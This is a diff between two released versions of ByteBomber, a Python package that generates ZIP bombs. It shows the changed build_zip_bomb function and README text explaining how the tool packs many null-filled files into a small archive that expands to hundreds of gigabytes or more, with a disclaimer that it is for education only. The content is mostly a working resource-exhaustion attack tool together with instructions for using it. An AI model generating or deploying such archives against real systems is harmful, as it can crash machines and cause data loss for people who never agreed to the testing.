ByteBomber 2.1.2__py3-none-any.whl → 2.2.1__py3-none-any.whl

bytebomber/__main__.py

@@ -29,21 +29,30 @@ def get_bytes(amount_str):
     except:
         raise ValueError("Format: <number> <unit>, e.g., 1 PB or 500 GB")
 
-def build_zip_bomb():
-    target_input = input("Bomb decompressed size: ") or "500 GB"
-    payload_input = input("Payload file size: ") or "1 MB"
-    zip_name = input("Output zip name: ") or "bomb.zip"
-    folder_name = input("Bomb directory name: ") or "bomb-dir"
+def build_zip_bomb(
+    target_input=None,
+    payload_input=None,
+    zip_name=None,
+    folder_name=None,
+    verbose=True,
+    show_progress=True
+):
+    target_input = target_input or input("Bomb decompressed size: ") or "500 GB"
+    payload_input = payload_input or input("Payload file size: ") or "1 MB"
+    zip_name = zip_name or input("Output zip name: ") or "bomb.zip"
+    folder_name = folder_name or input("Bomb directory name: ") or "bomb-dir"
 
     PAYLOAD_NAME = "payload.txt"
     DECOMPRESSED_TOTAL = get_bytes(target_input)
     PAYLOAD_SIZE = get_bytes(payload_input)
     REPEATS = DECOMPRESSED_TOTAL // PAYLOAD_SIZE
-    print(f"\n  Creating ZIP bomb:\n")
-    print(f"    Payload size:         {PAYLOAD_SIZE} bytes")
-    print(f"    Total uncompressed:   {DECOMPRESSED_TOTAL} bytes")
-    print(f"    File count:           {REPEATS}")
-    print(f"    Output:               {zip_name}\n")
+
+    if verbose:
+        print(f"\n  Creating ZIP bomb:\n")
+        print(f"    Payload size:         {PAYLOAD_SIZE} bytes")
+        print(f"    Total uncompressed:   {DECOMPRESSED_TOTAL} bytes")
+        print(f"    File count:           {REPEATS}")
+        print(f"    Output:               {zip_name}\n")
 
     with open(PAYLOAD_NAME, "wb") as f:
         f.write(b'\0' * PAYLOAD_SIZE)
@@ -52,10 +61,13 @@ def build_zip_bomb():
         for i in range(REPEATS):
             arcname = f"{folder_name}/{i}.txt"
             zf.write(PAYLOAD_NAME, arcname)
-            progress_bar(i + 1, REPEATS)
+            if show_progress:
+                progress_bar(i + 1, REPEATS)
 
     os.remove(PAYLOAD_NAME)
-    print(f"\n\nCreated zip bomb: {zip_name}")
+
+    if verbose:
+        print(f"\n\nCreated zip bomb: {zip_name}")
 
 if __name__ == "__main__":
     main()

bytebomber-2.2.1.dist-info/METADATA

@@ -0,0 +1,58 @@
+Metadata-Version: 2.4
+Name: ByteBomber
+Version: 2.2.1
+Summary: ZIP bomb generator (for educational purposes only)
+License: MIT
+Project-URL: Source, https://github.com/luckalgorithm/ByteBomber
+Project-URL: Documentation, https://luckalgorithm.github.io/ByteBomber
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Classifier: Topic :: Security
+Classifier: Topic :: Utilities
+Classifier: Intended Audience :: Developers
+Classifier: Intended Audience :: System Administrators
+Classifier: Development Status :: 5 - Production/Stable
+Requires-Python: <4.0,>=3.6
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+ByteBomber is a Python tool for creating ZIP bombs. It demonstrates how compression algorithms (specifically ZIP's DEFLATE) can exploit redundancy to create highly compressed files that expand drastically when extracted. It’s primarily for educational purposes to understand the impact of such files.
+
+## Installation
+
+Install ByteBomber via pip: `pip install bytebomber`
+
+You can then use it in your project: `from bytebomber import build_zip_bomb`
+
+## Usage
+
+Call `build_zip_bomb()` to create a ZIP bomb. You can pass several arguments to customize the behavior:
+
+```
+build_zip_bomb(
+    target_input="500 GB",
+    payload_input="1 MB",
+    zip_name="bomb.zip",
+    folder_name="bomb-dir",
+    verbose=True,
+    show_progress=True
+)
+```
+
+| **Parameter** | Description |
+|----------------| ----------------------------------------------------------------------------------|
+| `target_input` | Total uncompressed size of the ZIP bomb. Default: prompts user or uses `"500 GB"`. |
+| `payload_input` | Size of each file inside the ZIP. Smaller values = more files. Default: prompts user or uses `"1 MB"`. |
+| `zip_name` | Output ZIP file name. Default: prompts user or uses `"bomb.zip"`. |
+| `folder_name` | Internal folder name for the payload files. Default: prompts user or uses `"bomb_dir"`. |
+| `verbose` | If `True`, shows config + summary output. Default: `True`. |
+| `show_progress` | If `True`, shows a live progress bar. Default: `True`. |
+
+Use the format `<number> <unit>` when entering values (e.g., `500 GB`, `1 TB`). ByteBomber supports B, KB, MB, GB, TB, PB, EB, ZB, and YB. Valuse in the GB-TB range are usaully more than enough to stress a system. Values above TB are astronomical data zizes far more than most systems can handle.
+
+> [!NOTE]
+> The program accepts values using standard units (e.g., MB, GB), but internally it treats them as binary units (e.g., MiB, GiB).
+
+**ByteBomber is for educational purposes only. Do not deploy ZIP bombs on systems you do not own or have permission to test. Misuse can result in data loss or system damage.**

bytebomber-2.2.1.dist-info/RECORD

@@ -0,0 +1,8 @@
+bytebomber/__init__.py,sha256=ry7B_o4gtFbUp_z8D3UsaoB0yO26eiUN9YDfk67ui2E,36
+bytebomber/__main__.py,sha256=EDnfKoVTJSKkFD_4bCn_4rVk3AG2WGYFtTBaU4RS8b8,2251
+bytebomber-2.2.1.dist-info/licenses/LICENSE,sha256=D19NENd0v-XNzdKjvdphMBIdnY-aUcaok4q32x2G-jY,1070
+bytebomber-2.2.1.dist-info/METADATA,sha256=uvy6TCOlTT05EaJ9QG7ESkdiMtpobFu0HDv7HrRSv3s,2803
+bytebomber-2.2.1.dist-info/WHEEL,sha256=pxyMxgL8-pra_rKaQ4drOZAegBVuX-G_4nRHjjgWbmo,91
+bytebomber-2.2.1.dist-info/entry_points.txt,sha256=v7HnIUxttlBwYp_xC0K0YpXrEzIbEybt6tmbPjj8pKg,66
+bytebomber-2.2.1.dist-info/top_level.txt,sha256=bDtIXh70vdwT8VslZsHHLGkV7VBuZXxk0fzN0lWv4Y4,11
+bytebomber-2.2.1.dist-info/RECORD,,

bytebomber-2.1.2.dist-info/METADATA

@@ -1,117 +0,0 @@
-Metadata-Version: 2.4
-Name: ByteBomber
-Version: 2.1.2
-Summary: ZIP bomb generator (for educational purposes only)
-License: MIT
-Project-URL: Homepage, https://github.com/luckalgorithm/ByteBomber
-Project-URL: Documentation, https://luckalgorithm.github.io/ByteBomber
-Project-URL: Source, https://github.com/luckalgorithm/ByteBomber
-Project-URL: IssueTracker, https://github.com/luckalgorithm/ByteBomber/issues
-Classifier: Programming Language :: Python :: 3
-Classifier: License :: OSI Approved :: MIT License
-Classifier: Operating System :: OS Independent
-Classifier: Topic :: Security
-Classifier: Topic :: Utilities
-Classifier: Intended Audience :: Developers
-Classifier: Intended Audience :: System Administrators
-Classifier: Development Status :: 5 - Production/Stable
-Requires-Python: <4.0,>=3.6
-Description-Content-Type: text/markdown
-License-File: LICENSE
-Dynamic: license-file
-
-# ByteBomber
-
-ByteBomber is a tool for creating ZIP bombs. A ZIP bomb is a highly compressed ZIP file that massively expands in size when extracted. ByteBomber is designed to demonstrate how compression algorithms (specifically ZIP's DEFLATE) can be used to exhaust system resources (disk space, RAM, or CPU), potentially crashing systems or causing instability.
-
-## Installation
-
-To install ByteBomber, run the following command: `pip install bytebomber` (Alternatively, use `pip3` if necessary.)
-
-Once installed, you can integrate ByteBomber into your own project by importing the `build_zip_bomb` function: `from bytebomber import build_zip_bomb`
-
-You can then call `build_zip_bomb()` in your code to generate ZIP bombs.
-
-## What ByteBomber Does
-
-1. Takes input for how big the uncompressed bomb should be.
-2. Takes input for how large each individual payload file should be.
-3. Generates a file filled with null bytes (`\x00`) of that size.
-4. Creates a ZIP archive containing that file duplicated many times.
-5. Applies DEFLATE compression to exploit redundancy.
-
-Since every payload file is identical and filled with zeroes, compression is extremely effective—producing a small ZIP file that expands drastically when extracted.
-
-## CLI
-
-When you run the script, you'll be prompted for the following:
-
-`Bomb decompressed size:`
-
-- This is the total uncompressed size you want the final ZIP bomb to expand to.
-- Default is 500 GB.
-
-`Payload file size:`
-
-- Size of the individual file inside the ZIP archive.
-- The smaller this is, the more files the ZIP bomb will contain.
-- Default is 1 MB.
-
-`Output zip name:`
-
-- Name of the final ZIP file to be created.
-- Default is `bomb.zip`.
-
-`Bomb directory name:`
-
-- Directory where files are extracted when the bomb is decompressed.
-- Default is `bomb-dir`.
-
-Use the format `<number> <unit>` when entering values (e.g., `500 GB`, `1 TB`).
-
-| Supported Unit | Size     | Size In Bytes                     |
-| -------------- | -------- | --------------------------------- |
-| B (byte)       | 1 B      | 1                                 |
-| KB (Kilobyte)  | 1,024 B  | 1,024                             |
-| MB (Megabyte)  | 1,024 KB | 1,048,576                         |
-| GB (Gigabyte)  | 1,024 MB | 1,073,741,824                     |
-| TB (Terabyte)  | 1,024 GB | 1,099,511,627,776                 |
-| PB (Petabyte)  | 1,024 TB | 1,125,899,906,842,624             |
-| EB (Exabyte)   | 1,024 PB | 1,152,921,504,606,846,976         |
-| ZB (Zettabyte) | 1,024 EB | 1,180,591,620,717,411,303,424     |
-| YB (Yottabyte) | 1,024 ZB | 1,208,925,819,614,629,174,706,176 |
-
-> [!NOTE]
-> For most purposes, GB or TB ranges are more than sufficient to stress a system. PB, EB, ZB, and YB represent astronomical data sizes far beyond what typical systems can handle.
-
-Once input is provided, a summary of the configuration is shown:
-
-```
-Creating ZIP bomb:
-
-    Payload size:         1048576 bytes
-    Total uncompressed:   536870912000 bytes
-    File count:           512000
-    Output:               bomb.zip
-```
-
-- Payload size: Size of the file being copied inside the ZIP.
-- Total uncompressed: Target final size when the ZIP is extracted.
-- File count: How many copies of the payload file are added.
-- Output: Filename of the ZIP bomb.
-
-It will then show live progress as files are added to the ZIP.
-
-## What's in the ZIP
-
-Inside the ZIP there are tens of thousands to millions of identical files like:
-
-- 0.txt
-- 1.txt
-- 2.txt
-- ...
-
-All filled with null bytes. The compression algorithm detects repetition and compresses it heavily.
-
-> [!WARNING]
-> **ByteBomber is for educational purposes only. Do not deploy ZIP bombs on systems you do not own or have permission to test. Misuse can result in data loss or system damage.**

bytebomber-2.1.2.dist-info/RECORD

@@ -1,8 +0,0 @@
-bytebomber/__init__.py,sha256=ry7B_o4gtFbUp_z8D3UsaoB0yO26eiUN9YDfk67ui2E,36
-bytebomber/__main__.py,sha256=cIXzaHdjOhfHiD7Uq49t1-yzCVuRrZCnnBl2Nygw5cE,1957
-bytebomber-2.1.2.dist-info/licenses/LICENSE,sha256=D19NENd0v-XNzdKjvdphMBIdnY-aUcaok4q32x2G-jY,1070
-bytebomber-2.1.2.dist-info/METADATA,sha256=beGK27OYsrzbC86DgmC13RwtI9rGFtgUbR59DVLVHv8,4654
-bytebomber-2.1.2.dist-info/WHEEL,sha256=pxyMxgL8-pra_rKaQ4drOZAegBVuX-G_4nRHjjgWbmo,91
-bytebomber-2.1.2.dist-info/entry_points.txt,sha256=v7HnIUxttlBwYp_xC0K0YpXrEzIbEybt6tmbPjj8pKg,66
-bytebomber-2.1.2.dist-info/top_level.txt,sha256=bDtIXh70vdwT8VslZsHHLGkV7VBuZXxk0fzN0lWv4Y4,11
-bytebomber-2.1.2.dist-info/RECORD,,